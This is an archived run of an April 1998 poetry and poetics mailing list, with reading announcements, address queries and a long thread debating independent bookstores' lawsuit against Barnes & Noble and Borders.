
at Canessa Park Gallery, 708 Montgomery @ Columbus
3:00 PM $5

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

413. **Scott Pound**
Re: how to find?
Thu 16 Apr 1998

[redacted]

is current, least I got mail from Taylor from that address today

Scott Pound

> *Has anyone got a current e-mail address for Taylor Brady? The one I'd been using is suddenly bouncing back, this is the same as listed on his website, etc. Thanks -- Patrick F. Durgin*
>
> *|*
> *|*
> *k e n n i n g```|```*
> *a newsletter of contemporary |poetry, poetics, and non-fiction writing*
> *|418 Brown St. #10 Iowa City, IA 52245 USA*

↑ Index

414. Christina Fairbank Chirot

Re: Scavenger hunt suggestions& comix poetix

Thu 16 Apr 1998

There are many simple ways to do collage--

for example--just pick up anything close to hand, give a time limit and quickly cut it up and rearrange

tear/scissors & glue

for this you could study for example books like The Third Mind by William S Burroughs--as well his various interviews in say The Job-

or works by Brion Gysin--who influenced Burroughs-

also--another way to think of it is as editing, following examples from comic books and movies--just make or take a series of words and images, cut up and arrange in sequences, series--make little books or zines as "journals"

collect materials from hither and yon and keep by bedside--good time to work is first thing in morning, when dreams collide with waking and before dross of the day has settled in on "conscious" mind--

materials can be anything--scraps from street, old magazines, comic books books (dictionaries and encylopedias work great)--

can use paint and ink on top of junk found in street as stencils and stamp into the pages with the images and or words--

work fast, practise daily and each maker will find that over time their own themes obsessions images begin to move, repeat, play and form rhythms and patterns--

many books in libraries students wd like--on collage, Dada etc--Burroughs is cool with lot of kids--

also check out the book on comics/art that Scott MeCloud did--great book!

lot of written poetry work is collage--in "modern poetry"--check out Pound, Paul Metcalf, Olson--

(even old USA trilogy by John Dos Passos)
for movies a good one to check out for some great ideas is (you can get on video) for eample Dziga Vertov's MAN WITH A MOVIE CAMERA
all best --& a great time!
dave baptiste chirot

↑ Index

415. Steve Carll
other readings you won't want to miss addendum
Thu 16 Apr 1998

The three readings mentioned previously are all taking place in San Francisco, in case my omission of that fact led to any confusion.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

416. David Zauhar
Women poets from Ireland
Thu 16 Apr 1998

Thanks to everyone who made suggestions. I had no idea how little I knew about the great stuff that was out there. I'd like to single people out, but I can't find the list on which I kept names. Still, my wife now has plenty of material to chose from. Thank you all again.

David Zauhar
University of Illinois at Chicago

to belong to
whatever moves us outward into
the wideness, for journeying...

--Hilda Morley, 1919-1998

↑ Index

417. Annie Finch
For Mark Melnicove
Thu 16 Apr 1998

Mark Melnicove,

Will you please backchannel me? I've misplaced your e-ddress--- Thanks!

Annie

_____
_____
_____
Annie Finch
 http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

↑ Index

418. Ryan Whyte
letter
Thu 16 Apr 1998

...

Ah exhaustion, seize of the engine. I think: someday the letters stop. Then it is the concrete interval between letters, velvet of time, the page has been, now the fog rolling in off the lake. I think: one day I live again, as, if, not on nails. But this is not to betray you.

I am this way not out of *compulsion* but of *inner necessity* --

It is a *temperment*.

Then some will claim that my temperment tends toward *caprice*. But is it not a *moral* relationship, that to one's own temperment? And yet I can not say to you: I am 'naive', naive, as you would write. Naive never lets you write naive: why you face up to your own lack in the face of genius. (Indeed, here I am like you.)

I am 'naive' (then love me) --

For is it not the apostrophe which chases away the last shreds of naivete: fatality of that canny decorative typography....

Schiller, this explication of those tempers of art, your dissection of my economies, my psychological trade-routes: it is so much unbroken rail, the shuddering planes, thousand miles of night.

I can not even say it.

In the dark you can see the lines of my back. I think of such things, in the dark. It is something that nature would allow: it would spring out of the lake-air. In such a climate the knife-edge of shame crumbles. There are other things the centuries maintain; those are the things which interest me. The dyes which persist. For example, blue. And red.

The dyes are not ghosts, they are not writing which furrows the surface, they are not painting. You understand: I dream of writing which dyes, sinks into the cloth, marking beyond question and irrevocably. Then I could not write words.

You might understand this.

↑ Index

419. Steve Shoemaker
Re: more closings
Thu 16 Apr 1998

Just dropping in on this, but, sure, it's not that the owners of small stores *have* to be nicer, it's just that sometimes they *are*. Because they got into the biz in the first place for the love of books, and maybe even more generally for a love of "art." Lots of stuff bound up together here. I know thinking back to that old now-closing fave of mine in C-ville, Williams Corner, that in addition to having a great poetry section Mike Williams also employed a fair number of poor young potes and grad students over the years, and sold books by local writers, and sponsored readings etc etc. That can all add up to a contribution to the community in a way that B&N or Borders just will not....or will only perhaps simulate for as long as it is profitable or useful to them...certainly not out of love.

s

At 11:06 AM 4/15/98 -0500, you wrote:

> *I understand that one of the issues here regards the owners of these small stores. But (as someone has already pointed out, I believe) why are these owners any "nicer" than other owners?*
>
> *Best,*
> *Katy*

↑ Index

420. **morpheal**
Re: more closings
Fri 17 Apr 1998

> *Just dropping in on this, but, sure, it's not that the owners of small stores *have* to be nicer, it's just that sometimes they *are*. Because they got into the biz in the first place for the love of books, and maybe even more generally for a love of "art." Lots of stuff bound up together here. I know thinking back to that old now-closing fave of mine in C-ville, Williams Corner, that in addition to having a great poetry section Mike Williams also employed a fair number of poor young potes and grad students over the years, and sold books by local writers, and sponsored readings etc etc. That can all add up to a contribution to the community in a way that B&N or Borders just will not....or will only perhaps simulate for as long as it is profitable or useful to them...certainly not out of love.*

At least small book shop proprietors are _REAL_ people.

Not the zombified staff of a large chain who live in paranoia of those dreaded "mystery shoppers" hired by the store management.

I hate dealing with large chain stores. The simulated people androids that staff them are the main reason.

M.

↑ Index

421. **Pritchett,Patrick**
Re: Bromige Does Boulder
Fri 17 Apr 1998

My dear Rachel - I stand properly chastised!

In other news: David Bromige, Cole Swensen and Anselm Hollo read last night to a crowd of 60+ poetry lovers at Left Hand Books, not Barnes & Noble. It was SRO and a bravura reading by all. Even the fire marshall who descended on us for code violations was stilled in his zeal by the Orphean strains of "T as in Tether." I hope to assemble a more coherent report later but right now I'm hungover and short of sleep. Bromige seemed to spend most of his time flirting with my wife. But I'm not entirely sure since I was so preoccupied flirting with his.

Patrick Pritchett

↑ Index

422. **ScoutEW**
Re: letter
Fri 17 Apr 1998

maybe not

↑ Index

423. **Christopher W. Alexander**
Winston Break
Fri 17 Apr 1998

Winston Churchill was born in a ladies' room during a dance.

↑ Index

424. **Robert Archambeau**
Has anyone heard of this magazine...
Fri 17 Apr 1998

I'm looking for some information about a poetry magazine called "Samizdat," published in California in, I think, the late 70s and early 80s. If anyone could backchannel me information about the publisher, the dates of publication, etc., I'd appreciate it.

Best,

Bob
--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

" on the end
of each decision stands a heretic"
--Michael Barrett

↑ Index

425. **henry gould**
Winston Break
Fri 17 Apr 1998

It's clear he inherited his mother's sense of good timing.

----------Original message---------- Winston Churchill was born in a ladies' room during a dance.

↑ Index

426. **Rachel Levitsky**
Re: more closings
Fri 17 Apr 1998

---

morpheal wrote:

>Not necessarily (most of it is pure sell-yourself).No, it is not. No one in fact can self sell, though some _believe_
differently.

This is, in most ways, the world of the "middle man". To do otherwise than to use the middle man, the agent, the promoter, the distributor, the representative, the professional salesman, is to fail to recognize the necessity, in this culture, of a messiah. The whole tradition,even in its purely secular side, is build wholly of and from that concept.

It is a mediated culture. The immediate relation is most often rendered impossible, ineffective, disempowered, to preserve the role of the middle-man. Of course not everyone can be a middle-man, because if everyone could then everyone would be. Effective representation is the carefully guarded preserve of the few, and not of the many. That is how they keep themselves in business, and are kept in business by those who support the system in terms of status-quo. In turn the middle-man works for those who support the concept and empower it, as well as for whom the middle-man represents as producer of product. That relation maintains the middle-man's borrowed power.

In essence the messianic "license" to effectively sell, represent,
promote,
is granted by a power-elite.

Surely you know that the Marxists recognized this as being a fact ?

That does not necessarily make it an "evil". I am not value judging the concept, but only stating that that is how it is. Some people have the illusion that they are their own benefactors, their own best promoters, their own sales people, but in every instance I know of, they are deluded and nothing of the sort. They are always promoted, represented, made effective, by someone else. That they do not recognize who their messiah is does not obviate the fact that there is one. They do not have to recognize that fact, but only to live it.

-- Thanks Morph! This is perfectly stated, and a good thing for us to remember as we apply for our grants, send to mags etc etc

RDL

↑ Index

427. **Rod4rigo**
Query: Andrew Levy's Address
Fri 17 Apr 1998

If anyone has Andy's address, could you please backchannel me. Much appreciated....

RT

↑ Index

428. **Judy Roitman**
Re: other readings you won't want to miss addendum
Fri 17 Apr 1998

> *The three readings mentioned previously are all taking place in San Francisco, in case my omission of that fact led to any confusion.*
>
> **********
> [redacted] *Steve Carll*
> *http://writing.upenn.edu/epc/mags/antenym*
> *http://writing.upenn.edu/epc/ezines/antenym*
>
> *In seed-*
> *sense*
> *the sea stars you out, innermost, forever.*
>
> *--Paul Celan*
> **********

It would be nice if translators were mentioned in citations.

Cheers,

The Translator's Wife

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----

http://www.math.ukans.edu/~roitman/

↑ Index

429. megan minka lola camille roy
nyc: a reading
Fri 17 Apr 1998

A reading:
Melissa Ragona & Camille Roy---reading from her new book SWARM
amongst other stuff

HERE
Center for Independent Arts
145 6th Avenue
(cross Spring & Broom)
Saturday April 25th
3 pm

↑ Index

430. MAYHEW
bookstore sagas
Fri 17 Apr 1998

From a local newspaper (St. Louis)

"Left Bank Books sues Borders, Barnes and Noble

Among the alleged illegal practices are price discounts, special breaks on small orders, free shippping, promotional allowances and favorable retrun policies. The suit states these are not available to independent stores."

Inotherwords: the chains demand special deals for themselves from publishers. an independent store has no leveragre to get such deals, creating an uneven "playing field."

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

431. Pritchett,Patrick
Re: Bromige reading
Fri 17 Apr 1998

I really have nothing further to add about David Bromige's reading here in Boulder last night except to say that every community should put on a rummage sale and bring him out to read. You'll have a great time and you'll be a better person for it.

Patrick Pritchett

↑ Index

432. morpheal
Re: bookstore sagas
Fri 17 Apr 1998

> *From a local newspaper (St. Louis)*
>
> "*Left Bank Books sues Borders, Barnes and Noble*
>
> *Among the alleged illegal practices are price discounts, special breaks on small orders, free shippping, promotional allowances and favorable retrun policies. The suit states these are not available to independent stores.*"

Tto me that does seem ludicrous. (Though I strongly empathize with those making suit against the giants, in an attempt to survive as small independents.)

The fact is that the buying power of a larger customer has always favoured such customers in every kind of business. The more you buy the bigger the discount and the more favourable the terms of sale are from the supplier.

The biggest customers have _always_ been given the biggest discounts.

The biggest customers in every kind of business have also enjoyed special terms not available to lesser entities.

Some small customers, in some areas of business (such as manufacturing) have to pay list price for one off or for buying a few items, to their supplier, when larger competitors get substantial discounts from the same supplier. This, believe it or not, is common practice. (I speak from direct fact and not from the fiction section. It is perfectly acceptable business practice.)

Their larger competitor, who buys either a dozen or a hundred or spends a certain dollar amount per year with the supplier, gets a discount, of anywhere from as little as 5 to as much as 60 percent or more. There are no limits to that discounting. It could be any amount that the supplier chooses. That is the essence of "free enterprise". Each business sets its own prices and decides what its

discounting is to be. Some of that discounting in relation to list price is unbelievable in terms of how wide the spread of values is.

The only pertinent factor beyond that fact is that a supplier could get into trouble if they are not equitable. For instance if Joe's Garage buys 100,000 in oil and gas and Fritz's Auto buys 100,000 in the same product mix, for the exactly same kinds of oil and gas, then Luigi's Garage Supply Inc. will likely have to give Joe and Fritz the same 20% off for being a customer of 100,000 or up. Note same product mix. Particularly if that offer of discount is part of a price list. If one buys more oil and less gas this factor might not apply. Product mix and volume of sales in dollars both usually matter as profit margins vary as to mix.

Also, it is not uncommon for a supplier to make a special offer to a customer who buys more than the others, and is beyond the levels specified in a list. It is justified on reduced margin, but maintenance of total profits, due to the volume of business provided by that specific customer. It adds another pricing tier to the list, albeit an unwritten on. This sometimes attracts another large customer to the same supplier. Word gets around.

Some suppliers discount different products differently, but also expect a certain total dollar volume based on last year's purchases, or sometimes allow the discount when a certain total is achieved by a new customer. A few even credit it. The practices are very, very, variable. Again, "free enterprise".

Likely, IMHO, for a small independent to go up against the giants of standardized fair play towards competition and suppliers, ie. ethical equitable practices, is a suicide leap.....

That skyscraper full of legal eagles again will eat the independent alive.

The independent cannot expect to find a David to slingshot that Goliath.

M.

↑ Index

433. Steven Marks
Re: Has anyone heard of this magazine...
Fri 17 Apr 1998

Samizdat: I think it was published by Merritt Clifton who now publishes (last I knew) a magazine called "Animal People." Address is PO Box 960, Clinton, WA 98236. More info re that mag in 32nd ed. of Int'l Directory of Little Magazines.. Hope this helps.

On Fri, 17 Apr 1998, Robert Archambeau wrote:

> *I'm looking for some information about a poetry magazine called "Samizdat," published in California in, I think, the late 70s and early*

> *80s. If anyone could backchannel me information about the publisher, the dates of publication, etc., I'd appreciate it.*
>
> *Best,*
>
> *Bob*
> *--*
> *Robert Archambeau*
> *Department of English*
> *Lake Forest College*
> *Lake Forest, IL 60045*
> *http://www.lfc.edu/~archamb/*
>
> *" on the end*
> *of each decision stands a heretic"*
> *--Michael Barrett*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

434. **Joseph Noble**
Zinc Bar Addendum
Fri 17 Apr 1998

All, I neglected to add the time and place for Zinc Bar readings. The Zinc Bar is at 90 W. Houston St., NYC. Readings begin at 6:30, & they ask for a $3 donation for the readers.

↑ Index

435. **John Tranter**
Cambridge UK Poetry Conference
Fri 17 Apr 1998

The list may like to know about the following:

THE CAMBRIDGE CONFERENCE OF CONTEMPORARY POETRY

FRIDAY 25TH -SUNDAY 27TH APRIL

AT KINGS COLLEGE CAMBRIDGE
(KEYNES HALL)

TIMETABLE

FRI 8pm. Bob Perelman. + Reception.

SAT 11am Michelle Grangaud, Roger Langley, Helen Macdonald

2pm Frank O'Hara and Allen Ginsberg: films by Colin Still

4pm John Forbes memorial reading

8pm Roy Fisher, Peter Gizzi, Gig Ryan

SUN 2pm Olivier Cadiot, Lisa Jarnot

4pm Peter Blegvad.

7pm Lee Ann Brown, Philippe Beck, Keston Sutherland

Exhibition of art and craft works by and associated with Tom Raworth will run concurrently with the Conference, in the Chetwynd Room, Kings College (open only during conference events)

Week-end ticket: £22 concession £12
Per reading: £4 / £2.50

Bookings, enquiries:
Ian Patterson
King's College, Cambridge CB2 1ST
tel 01223-331196
email [redacted]

Inquiries:
Peter Riley
27, Sturton Street, Cambridge CB1 2QG
tel/fax: 01223 576422
email: [redacted]

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

↑ Index

436. **Karen Kelley**
Geocities
Fri 17 Apr 1998

Anyone had any dealings with Geocities? I'm thinking about taking them up on their free site to put up some literary material. Is this another case of "no free

lunch"? As I understand it, they let space on their server if you'll place a banner somewhere on your page.

Any insights will be appreciated.

↑ Index

437. **Ctfarmr**
Dain Olsen
Sat 18 Apr 1998

I recently came across a slightly water-warped & somewhat mildewed copy of _Desert Expansion Texts, Book 2_ by Dain Olsen (Penumbra Press 1985), and it followed me home. The text is not what I'd call innovative, but still surrealistic enough to be interesting. And the drawings are wonderfully bizarre. Can anyone tell me more about Dain Olsen and/or Penumbra Press?

Bobbie West

↑ Index

438. **Rachel Levitsky**
Re: oy vey morpheal!
Sat 18 Apr 1998

Really, how pessimistic and upholding of the status quo (its always been done this way, it always will be done this way) you sounded in your last post.

Some other ways of looking at the law suits:

1)you never know until you try 2)by any means necessary 3)perhaps there is evidence that stated policies of distribution discounts are in fact violated, I dunno but all these independent bookish sorts are probably not stupid and suicidal 4)publicity will favor the little guy in this case 5)you gave us that brilliant schpiel on the middle man, well, why not challenge how this is being mediated, at least rhetorically? This "culture"'s epic is being penned in the courts. 6)Legal means should not be the only means of challenging those big smelly giants but the probable means for a network of indies. Its up to us patrons to go in and slip "don't buy from Barnes & Noble" sheets into their books. 7)Not that this is my cause, but I never thought, nor did most, that the legal challenges to cigarette giants would ever get so far as they've gotten. I think the logic of most of these lawsuits is flawed, but I like very much that the free range power of the corporation is being fucked with. Marketing strategies become more transparent--thus consumers have more choice as to whether their going to buy into it. (Though one need only open a _Rolling Stone_ magazine to see jazz greats modeling for designers, to feel like everyone's getting in on the corporate thang) 8)I'm also thinking of the Christic (sp?) Institute's legal challenge to the CIA, I

hope I'm not getting this wrong, which was the means by which many people learned of it's involvement in the drug trade. They never won that case but the newspaper coverage of something that would have otherwise been ignored was absolutely worth their work.

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439. **Billy Little**
Re: oy vey morpheal!
Sat 18 Apr 1998

---

right on rachel, nothing ventured, nothing gained to a twenty year old it may seem that the corporation has had the stranglehold forever, perestroika may have come first to the Kremlin but the laws of physics are older than capitalism or communism, the equal and opposite reaction will be felt on the potomac, ain't gonna let no policeman turn me round, turn me round, aint gonna let no policeman turn me round, gonna keep on walking, keep on talking, walking down to freedomland

↑ Index

440. **George Bowering**
Re: Bromige Does Boulder
Sat 18 Apr 1998

> *Bromige seemed to spend most of his*
> *time flirting with my wife. But I'm not entirely sure since I was so*
> *preoccupied flirting with his.*
>
> *Patrick Pritchett*

Yeah? Well, years and years ago Bromige flirted with my wife, then girlfriend,, with a poem. The bastard!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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441. **morpheal**
Re: oy vey morpheal!
Sat 18 Apr 1998

> *1)you never know until you try*

Sound Reasoning will often tell you, long before you leap into the abyss. Such things are often launched not in the spirit of Reasoning, but from a basis of emotion. The latter is how many a small business has perished to doing no good other than increasing its overhead to where it cannot carry it anymore, in addition to its other sometimes overwhelming challenges.

> *2)by any means necessary*

Decidedly uncivilized. The emphasis on _any_.

Tooth and claw, kill or be killed, etc., is not civilized.

> *3)perhaps there is evidence that stated policies of distribution discounts are in fact violated, I dunno but all these independent bookish sorts are probably not stupid and suicidal*

Perhaps, but unlikely. Even then, it would be on very weak grounds, as a supplier has the right to amend any list of prices and discounts, such that a customer gets a special discount and terms, upon some argument or other. For instance, projected business volume rather than historic actual. A rationale is a rationale, for exceptions.....and is quite a common business practice.

Besides, those giants are the biggest customers. No argument possible. Therefore, within the capitalist system, the largest get the best terms and the best prices. There is no socialism from suppliers to smaller businesses, and no commissary from where they can request their needs according to their abilities to pay. System simply does not work that way.

The small dealers commisar has not been apppointed yet. The commissary has not been built yet....

> *4)publicity will favor the little guy in this case*

Not necessarily. Spin is owned by the large, not the small. Spin doctors do not work solely for politicians. They work for corporations.

> *5)you gave us that brilliant schpiel on the middle man, well, why not challenge how this is being mediated, at least rhetorically? This "culture"'s epic is being penned in the courts.*

The small cannot afford to be there, in most instances. I do agree that some system of mediation, rather than litigation, for commercial disagreements is necessary. I do believe that some states have a "commercial code" allowing such things as mediation. Pennsylvania, is one of those, but I do not know if mediation would apply in the instance we are discussing.

The costs of mediation are not the same as litigation. The lesser entity then has a chance.....of survival, even if the loser on the particular question. The loser has no chance in litigation because a counter suit is inevitable and that would involve damages (bad publicity, loss of business) and the huge costs incurred by the larger entity. The can sue for everything they spent, and can spend essentially as much as they choose.

> *6)Legal means should not be the only means of challenging those big smelly giants but the probable means for a network of indies. Its up to us patrons to go in and slip "don't buy from Barnes & Noble" sheets into their books.*

They are not necessarily "big smelly giants", but they are losing some consumers because they are not always passing on a true cost saving to the customer. They are simply putting more profits into their own pockets. That does cause intelligent consumers to go elsewhere. Then they are likely to drop their prices somewhat to regain those consumers..... Another fact of business.

> *7)Not that this is my cause, but I never thought, nor did most, that the legal challenges to cigarette giants would ever get so far as they've gotten. I think the logic of most of these lawsuits is flawed, but I like very much that the free range power of the corporation is being fucked with. Marketing strategies become more transparent--thus consumers have more choice as to whether their going to buy into it. (Though one need only open a _Rolling Stone_ magazine to see jazz greats modeling for designers, to feel like everyone's getting in on the corporate thang)*

At the risk of sounding too flippant...poetry books will have to have warning labels on them saying "The Psychiatrist General has determined that Reading this material may be hazardous to your psyche"..... Sure....some would go for that.

Well, when the poetry giants are flooding the market with dangerous poetry publications, perhaps a lobby group, a class action suit, etc., will have some effect on stopping that growing flood of subversive evil verse.... before it destroys the whole country and damages the well being of millions.....

> *8)I'm also thinking of the Christic (sp?) Institute's legal challenge to the CIA, I hope I'm not getting this wrong, which was the means by which many people learned of it's involvement in the drug trade. They never won that case but the newspaper coverage of something that would have otherwise been ignored was absolutely worth their work.*

That is funny. The truth will set them free.... <laughing>

Don Quixote and his windmills made more sense than that story.

M.

↑ Index

442. **morpheal**
Re: oy vey morpheal!
Sat 18 Apr 1998

> *right on rachel, nothing ventured, nothing gained*
> *to a twenty year old it may seem that the corporation has had the stranglehold forever, perestroika may have come first to the Kremlin but the laws of physics are older than capitalism or communism, the equal and opposite reaction will be felt on the potomac, ain't gonna let no policeman turn me round, turn me round, aint gonna let no policeman turn me round, gonna keep on walking, keep on talking, walking down to freedomland*

Buy your own printing press, set type, and print them in your basement, distributing them yourself on street corners....if you can afford to do it.

There magic has happened, little black marks on the page, saying.... you are free, I am free, we are free together....googoogachoo....

We have proven that to be an indisputable fact.

M.

↑ Index

443. **JBCM2**
Re: oy vey morpheal!
Sat 18 Apr 1998

In a message dated 98-04-18 00:19:45 EDT, you write:

<<
8)I'm also thinking of the Christic (sp?) Institute's legal challenge to the CIA, I hope I'm not getting this wrong, which was the means by which many people learned of it's involvement in the drug trade. They never won that case but the newspaper coverage of something that would have otherwise been ignored was absolutely worth their work.
>>

rachael, you're certainly right on about the Christic Institute's attempt to expose a continuing criminal operation/conspiracy perpetrated by former & current cia operatives. not only does it document the drug trafficking sanctioned by these operatives, the complaint also points out the earlier activities of these same operatives in southeast asia, the middle east, africa and central america -- very bloody activities. when carlo parcelli, rosalie gancie and myself were producing Print News Report, a weekly alternative news program on public access chanels (washington, dc & northern va) we read the entire complaint, all 300 pages, verbatim. unfortunately the Christic Institute paid a heavy price for this action; several days before the complaint was to be heard in the federal courts,

judge king dismissed the complaint and ordered the Christic Institute to pay the legal fees of these operatives, which totaled more than a million dollars. unable to do so the institute went out of existence.

joe brennan

↑ Index

444. Douglas Barbour
Re: bookstore sagas
Sat 18 Apr 1998

Morpheal replies:

<<>"Left Bank Books sues Borders, Barnes and Noble
>
>Among the alleged illegal practices are price discounts, special breaks on
>small orders, free shippping, promotional allowances and favorable retrun
>policies. The suit states these are not available to independent
>stores."

Tto me that does seem ludicrous. (Though I strongly empathize with those making suit against the giants, in an attempt to survive as small independents.)

The fact is that the buying power of a larger customer has always favoured such customers in every kind of business. The more you buy the bigger the discount and the more favourable the terms of sale are from the supplier.

The biggest customers have _always_ been given the biggest discounts.>>

But this seems to do exactly what the monsters want: place literature as commodity on the same terms as widgets & wadgets. Even if we say there's no way to save the little stores in this world of social darwinism, it might pay wo wonder what happens to the small presses where, due to these very pressures on the big ones, almost the only innovative, etc. writing gets published. They too are suddenly forced to give discounts they simply cant handle, & if they dont perhaps they cant sell any books because the independent stores they depended on for their sales have all been driven out. Oops. Now Mark seems to be managing with library sales, but still. A hard road has been made much harder. For whom? For what? At what cost to culture as a whole (& I speak as someone who very much enjoys various aspects of popular culture too)?

Maybe the small press world will be an electronic village hidden among the giant 'trees' of the web/forest? Maybe...(but I still really like going into a small bookstore & soaking up the ambience of the books I can look at, check out, etc. not to mention those readings -- like the one Patrick Pritchettjust reported to us...).

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

A run-of-the-mill miracle:
winds mild to moderate turning
gusty in storms.

A miracle in the first place:
cows will be cows.

Next but not least:
just this cherry orchard
from just this cherry pit.

A miracle minus top hat and tails:
fluttering white doves

A miracle(what else can you call
it):
the sun rose today at three fourteen
a.m.
and will set tonight at one past eight.

A miracle that's lost on us:
the hand actually has fewer than six
fingers
but still it's got more than four.

A miracle, just take a look around:
the inescapable earth.

An extra miracle, extra and
ordinary:
the unthinkable
can be thought

WISLAWA SZYMBORSKA

english translation copyrite 1995 by Harcourt, Brace & Company

↑ Index

446. Chris [Steve] Piuma

Re: Geocities

Sat 18 Apr 1998

Karen Kelley showed great grace and sensitivity to write on 98.04.17:

> *Anyone had any dealings with Geocities? I'm thinking about taking them up on their free site to put up some literary material. Is this another case of "no free lunch"? As I understand it, they let space on their server if you'll place a banner somewhere on your page.*

> *Any insights will be appreciated.*

Check out Ron Henry's web lit mag "Aught" at
http://www.geocities.com/SoHo/8789/aught.htm

As far as the "free lunch" goes -- since I used a somewhat dated web browser on my somewhat dated home computer, I'm incapable of seeing the banner ads that occasionally pop on GeoCities web pages. Drat.

You can email Ron at [redacted] and ask him more about the GeoCities experience.

-- Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard flim: http://www.brainlink.com/~cafard/flim/index.html from the current issue: These feelings are real--only the memes have been changed to protect the guilty.

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447. morpheal
Re: oy vey morpheal!
Sat 18 Apr 1998

> *Institute paid a heavy price for this action; several days before the complaint was to be heard in the federal courts, judge king dismissed the complaint and ordered the Christic Institute to pay the legal fees of these operatives, which totaled more than a million dollars. unable to do so the institute went out of existence.*
> *joe brennan*

The Little Fish

The little fish dreamt it was a huge white shark. It imagined its teeth and jaws powerful. It imagined it was ferocious. It dreamt this many times and it eventually _believed_ that this was the truth. The little fish then attacked another fish....and the little fish was immediately eaten. In being eaten it found its freedom.

That is the end of the story of the little fish.

The little fish perhaps exists somewhere in another parallel universe, in a kind of afterlife, or perhaps it reincarnated in another time period as a great white shark. I shall remain agnostic to what happens to fish after they are eaten.

Now how does that apply to Little Book Shop versus Huge Bookselling Chainstore ?

Big fish eat little fish. Sometimes little fish forget that fact. Then they are eaten, even faster, than they otherwise would have been.

That is all there is to it.

M.

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448. charles alexander
tucson activities
Sat 18 Apr 1998

I've only been back receiving poetics messages for a few weeks, and haven't seen anybody reporting on Tucson activities, so thought I'd summarize.

The POG series which started a year ago with readings and/or talks by David Bromige, Karen Mac Cormack, Steve McCaffery, Tom Mandel, Bob Perelman, Jim Waid, Margaret Bailey Doogan,and others -- continued this year with sometimes monthly and sometimes more-than-monthly readings or presentations by a mixture of poets, visual artists, video artists, music composers. These have included Leslie Scalapino, Roberto Tejada, Cynthia Miller, Robert Hogg, Sheila Murphy, Rae Armantrout, A.C. Huerta, Victor Masayesva, Tom Raworth, Charles Alexander, Jerome Rothenberg, Alex Garza, Clayton Eshleman, Michael Davidson, Mei-mei Berssenbrugge, Larry Solomon, Lisa Cooper, and Lydia Davis (and I'm sure I've left something out).

The latest of these readings were the Michael Davidson one about three weeks ago, and the Lisa Cooper/Lydia Davis reading one week ago today.

When possible, Chax Press has made chapbooks by visiting and/or local writers to accompany these events (books by Davis, Cooper, Armantrout, Raworth/Alexander, one by POG co-founder Tenney Nathanson who read in a university-sponsored series, and one last spring by Perelman).

The literary readings have been energetically complemented by artistic presentations in the case of Cynthia Miller (painting), A.C. Huerta (painting/photography), Alex Garza (sculpture), Larry Solomon (musician/composer), and Victor Masayesva (video/photography).

The events have included visiting and local artists and writers; they have also shifted locations purposefully, including events at three locations in downtown Tucson, on the far west side at Pima Community College, and in predominantly Hispanic South Tucson. More informal talks in the series have been at an older stucco former-home which is an annex to the Poetry Center of the U of Arizona.

Besides POG, which is a collective of about 15 people including Jill McCartney, Tenney Nathanson, Dan Featherston, Kali Tal, Charles Alexander, Lisa Bowden

(all of those on the organizing committee for the group), and others; a couple of the events have had co-sponsorship from the Writing Works/Extended University program at U of Arizona, or from the Poetry Center at the U of Arizona. The events have also had support from the Tucson/Pima Arts Council and the Arizona Commission on the Arts. Still, financially, it's been a struggle in which several people have stuck their necks and wallets out, and we're counting a lot on an upcoming fundraising dinner (May 4 -- please send me a direct email if anyone wants more information about this, wants to come or reserve/buy a seat we can donate to someone who can't afford it) to help us break even and continue doing this next year.

The final event in the series this year is Saturday, May 9, at 7pm.
It is a reading by Kevin Killian and Dodie Bellamy,
and a performance by artist Ned Schaper, at the
Mat Bevel Institute, 530 N. Stone Ave., in Tucson.
Free & open to all.

if you're near, please come.

charles
[redacted]
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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449. Pierre Joris
MILLENNIUM VOLUME II EVENTS
Sat 18 Apr 1998

We would like to announce two events in connection with the publication of the 2nd volume of POEMS FOR THE MILLENNIUM:

-- For those in the San Diego area: On Sunday 19 April at 3p.m. in the Seuss Room of the Geisel (Central) Library at UCSD: Readings and performances by Pierre Joris, Jerome Rothenberg, David Antin, Rae Armantrout, John Cayley, Michael Davidson, Hiromi Ito, George Lewis, Quincy Troupe, Bertram Turetsky and Pasquale Verdicchio.

-- For those in the Bay Area: On Monday 20 April at 7p.m. at Diesel Books (5433 College Avenue in the Rockbridge section of Oakland): readings by Pierre Joris, Jerome Rothenberg, Lyn Hejinian, Nathaniel Mackey, Michael McClure, David Meltzer, Michael Palmer, Carl Rakosi and Eric Selland. For information call: [redacted].

Pierre Joris & Jerome Rothenberg

==========
========== Pierre Joris | "Poetic
knowledge...is the knowledge of finitude, Dept. of English | of words and
things that happen once and SUNY Albany | once only, measurable but
not repeatable, the Albany NY 12222 | intuitions of _nonstatistical_ proba-
bilities tel&fax:[redacted] | that are _creative_, not merely re-creative
email: | (or recreational)." -- Don Byrd [redacted]|
==========
==========

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450. **Mark Nowak**

Mpls. events

Sat 18 Apr 1998

Upcoming _Xcp/Cross Cultural Poetics_ & related events in Mpls:

